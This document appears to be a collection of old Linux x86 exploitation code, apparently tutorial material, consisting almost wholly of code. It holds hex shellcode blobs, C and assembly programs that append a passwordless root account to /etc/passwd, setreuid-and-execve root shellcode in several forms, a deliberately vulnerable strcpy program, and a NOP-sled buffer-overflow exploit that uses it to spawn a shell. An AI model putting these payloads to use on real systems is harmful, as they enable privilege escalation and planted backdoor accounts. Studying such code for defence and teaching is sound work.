char shellcode[] =
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8a"
"\xd4\xf2\xe7\x83\xeb\xfc\xe2\xf4\xbb\x0f\xa1\xa4\xd9\xbe\xf0\x8d"
"\xec\x8c\x6b\x6e\x6b\x19\x72\x71\xc9\x86\x94\x8f\x9b\x88\x94\xb4"
"\x03\x35\x98\x81\xd2\x84\xa3\xb1\x03\x35\x3f\x67\x3a\xb2\x23\x04"
"\x47\x54\xa0\xb5\xdc\x97\x7b\x06\x3a\xb2\x3f\x67\x19\xbe\xf0\xbe"
"\x3a\xeb\x3f\x67\xc3\xad\x0b\x57\x81\x86\x9a\xc8\xa5\xa7\x9a\x8f"
"\xa5\xb6\x9b\x89\x03\x37\xa0\xb4\x03\x35\x3f\x67";

#include <stdio.h>
#include <fcntl.h>

main() {
  char *filename = "/etc/passwd";
  char *line   = "hacker:x:0:0::/:/bin/sh\n";
  int f_open;
  f_open       = open(filename,O_WRONLY|O_APPEND);
  write(f_open, line, strlen(line));
  close(f_open);
  exit(0);
}

#include <stdio.h>

main() {
  char *name[2];
  name[0] = "/bin/sh";
  name[1] = NULL;
  setreuid(0, 0);
  execve(name[0],name, NULL);
}

section .data
filename db '/etc/passwd', 0
line db 'hacker:x:0:0::/:/bin/sh',0x0a

section .text
global _start

_start:
; open(filename,O_WRONLY|O_APPEND)
mov eax, 5
mov ebx, filename
mov ecx, 1025
int 0x80
mov ebx, eax

; write(f_open, line, 24)
mov eax, 4
mov ecx, line
mov edx, 24
int 0x80

; close(f_open)
mov eax, 6
int 0x80

; exit(0)
mov eax, 1
mov ebx, 0
int 0x80

section .data
name db '/bin/sh', 0

section .text
global _start

_start:
; setreuid(0, 0)
mov eax, 70
mov ebx, 0
mov ecx, 0
int 0x80

; execve("/bin/sh",["/bin/sh", NULL], NULL)
mov eax, 11
mov ebx, name
push 0
push name
mov ecx, esp
mov edx, 0
int 0x80

BITS 32
; setreuid(0, 0)
mov eax, 70
mov ebx, 0
mov ecx, 0
int 0x80
jmp two

one:
pop ebx

; execve("/bin/sh",["/bin/sh", NULL], NULL)
mov eax, 11
push 0
push ebx
mov ecx, esp
mov edx, 0
int 0x80

two:
call one

db '/bin/sh', 0

char code[]=
"\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\x00\x00\x00\x00\xcd"
"\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\x00\x68\x00\x00\x00"
"\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\xe8\xe6\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x00";

main() {
  int (*shell)();
  (int)shell = code;
  shell();
}

jmp short stuff

code:
pop esi
; address of string
; now in ESI

xor eax,eax
; put zero into EAX

mov byte [esi + 17],al
; count 18 symbols (index starts from zero)
; and putting a zero value there (EAX register equals to zero)
; The string will become This is my string0

stuff:
call code

db 'This is my string#'

BITS 32

;setreuid(0, 0)
xor eax,eax
mov al, 70
xor ebx,ebx
xor ecx,ecx
int 0x80

jmp short two

one:
pop ebx

; execve("/bin/sh",["/bin/sh", NULL], NULL)
xor eax,eax
mov byte [ebx+7], al
push eax
push ebx
mov ecx, esp
mov al,11
xor edx,edx
int 0x80

two:
call one
db '/bin/sh#'

#include
<stdio.h>

void sum(int a,int b) {
  int c = a + b;
}

void bad_copy_string(char *s)
{
  char local[1024];
  strcpy(local,s);
  printf("string is %s\n",local);
}

int main(int argc, char *argv[])
{
  sum(1,2);
  bad_copy_string(argv[1]);
}

#include <stdlib.h>

static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#";

#define NOP 0x90
#define LEN 1024+8
#define RET 0xbffff334

int main()
{
  char buffer[LEN]; int i;

  /* first fill up the buffer with NOPs */
  for (i=0;i<LEN;i++)
    buffer[i] = NOP;

  /* and then the shellcode */
  memcpy(&buffer[LEN-strlen(shellcode)-4],shellcode,strlen(shellcode));

  /* and finally the address to return to */
  *(int*)(&buffer[LEN-4]) = RET;

  /* run program with buffer as parameter */
  execlp("./overflow","./overflow",buffer,NULL);

  return 0;
}